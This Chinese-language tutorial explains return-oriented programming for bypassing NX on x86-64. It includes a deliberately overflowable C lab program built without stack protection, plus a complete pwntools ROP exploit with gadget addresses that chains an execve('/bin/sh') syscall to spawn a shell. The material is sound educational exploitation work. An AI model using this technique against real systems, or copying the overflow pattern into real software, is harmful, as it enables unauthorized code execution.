上次提到的return to shellcode是沒有後門可以開shellcode要自己寫shellcode,但是今天要探討要如何在有NX的情況下也可以開shell,所以今天就是要來講ROP,透過片段的gadget組成一個payload進而開shell
ret
的instructionbinary
ROP是一個進階的return to shellcode,他是在有開NX的情況下我們可以進行一連串的ROP chain,透過buffer overflow,進而開shell
可讀可寫不可執行
跟可讀不可寫可執行
ret
結尾,原因是我們執行完第一個gadget我們需要有ret
我們才能跳到下一個gadget繼續執行code,這樣才可以持續的control flow編譯方式差別:
static: gcc rop.c -o rop -static
dynamic: gcc rop.c -o rop
如果不用-static,我們一般的編譯模式通常都為dynamic linking
這個是staitc linking的,我們可以發現:
這個是dynamic linking的,我們可以發現:
我們需要使用execve
這個syscall去開shell,其中我們需要把對應的register設為我們需要以及syscall要的
所以我們的目標是:
rax
設為0x3brdi
為要放入的filename,我們則是放入/bin/shrsi與rdx
我們可以直接設為0
syscall
開shell我們在打rop的時候我們最常用到的gedget feature通常為:
rop.c:
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[64];
puts("give me your buffer:");
read(0, buf, 256); // 不是只有gets才可以buffer overflow,只要給予的值超過自身長度也會發生
}
makefile:
rop: rop.c
gcc rop.c -o rop -static -fno-stack-protector -no-pie
我們第一步需要找可寫的區域,我是使用gdb去vmmap找可寫的區域,我們可以看到0x4a4000是.data段,可讀可寫的已初始化資料段,所以我可以去查看memory裡面有沒有乾淨可寫的地方
這裡可以發現0x4a40b0正符合我們的意願,所以我就把0x4a40b0拿來利用
最後透過ROPgadget去取得我們需要的gadgets就可以組成下面的payloadb'a' * 72, pop_rsi, bss, pop_rax, b'/bin/sh\x00', mov_rsi_rax, pop_rdi, bss, pop_rsi, 0, pop_rax_pop_rdx_pop_rbx, 0x3b, 0, 0, syscall
達到
rax = 59 ; execve syscall number
rdi = 指向 "/bin/sh" 的指標
rsi = 0 ; argv = NULL
rdx = 0 ; envp = NULL
最後我們就可以寫出腳本
exp.py:
┌──(venv)─(kali㉿kali)-[/tmp/roplab]
└─$ cat exp.py
from pwn import *
context.arch = 'amd64'
r = process('./rop')
bss = 0x4a40b0
pop_rax = 0x0000000000417dd2
pop_rdi = 0x0000000000402031
pop_rsi = 0x0000000000404cc2
pop_rax_pop_rdx_pop_rbx = 0x00000000004568b6
mov_rsi_rax = 0x00000000004196a1
syscall = 0x000000000040122f
rop = flat(b'a' * 72, pop_rsi, bss, pop_rax, b'/bin/sh\x00', mov_rsi_rax, pop_rdi, bss, pop_rsi, 0, pop_rax_pop_rdx_pop_rbx, 0x3b, 0, 0, syscall)
r.sendlineafter(b':', rop)
r.interactive()
Pwned!